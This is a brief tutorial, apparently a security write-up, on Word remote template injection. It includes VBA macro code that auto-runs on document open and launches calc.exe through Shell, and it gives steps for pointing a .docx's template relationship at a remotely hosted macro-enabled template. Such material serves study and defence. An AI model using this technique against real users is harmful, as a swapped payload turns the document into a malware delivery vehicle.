Launching Calculator by Invoking Malicious Macro Code Through Word Template Injection

Environment

Related Scripts

Principle

• word template injection exploits the behavior of a Word document when it loads an attached template. The loaded template is a malicious macro-enabled template, which indirectly executes macro code. Template injection can use remote or local templates. Remote templates are loaded over the http protocol, while local templates can be loaded over the file protocol. In practice, remote loading is used in most cases.

Remote Template Injection

First Create a Macro-Enabled dotm File

Private Sub StartCalculator_open()
Dim Program As String
Dim TaskID As Double
On Error Resume Next
Program = "calc.exe"
TaskID = Shell(Program, 1)
If Err <> 0 Then
MsgBox "Can't start " & Program
End If
End Sub

Private Sub Document_open()
Dim Program As String
Dim TaskID As Double
On Error Resume Next
Program = "calc.exe"
TaskID = Shell(Program, 1)
If Err <> 0 Then
MsgBox "Can't start " & Program
End If
End Sub

Deploy the Macro Document on the web Server

Create a docx File That Remotely Invokes the Macro Document

• Create a docx file and select a word template. Then open the docx with an archive tool, modify the ./word/_rels/settings.xml.rels file, and change its Target address.

• Open the modified docx file. It remotely loads the macro-enabled file and then launches Calculator.

References:

1.https://zerokeeper.com/web-security/office-document-attack-surface.html